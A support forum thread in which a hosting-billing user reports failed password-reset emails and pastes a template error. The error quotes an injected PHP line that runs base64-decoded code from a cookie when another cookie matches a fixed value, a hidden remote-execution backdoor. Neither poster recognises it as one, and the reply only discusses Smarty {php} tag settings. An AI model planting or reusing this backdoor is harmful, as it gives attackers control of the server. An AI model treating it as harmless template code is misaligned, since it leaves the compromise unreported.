Jump to content

Mail error on password reset


lance

Recommended Posts

Passwords not being sent out when client requests password reset

 

error in admin panel shows :-

 

Mail error on password

Smarty Error: Syntax error in template "mailTemplate:plaintext" on line 4 "<p> </p>{php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php}" unknown function "eval"

 

Any ideas?

Link to comment
Share on other sites

I don't think i've used {php} in the email templates before - and i'm not sure if you still can with v6...

 

http://docs.whmcs.com/Templates_and_Custom_PHP_Logic

 

However, as of Smarty 3, support for the {php} block has been removed, and we are only providing legacy support to ease the transition for developers and users who work with our platform and rely on this functionality.

 

In WHMCS 6.0 and later, a backwards compatibility Security setting "Allow Smarty PHP Tags" has been introduced in Setup > General Settings > Security which must be checked to enable the use of PHP tags. This setting defaults to Off, and may be removed in a future versions.

Link to comment
Share on other sites

  • 2 weeks later...
  • 5 months later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...

Important Information

By using this site, you agree to our Terms of Use & Guidelines and understand your posts will initially be pre-moderated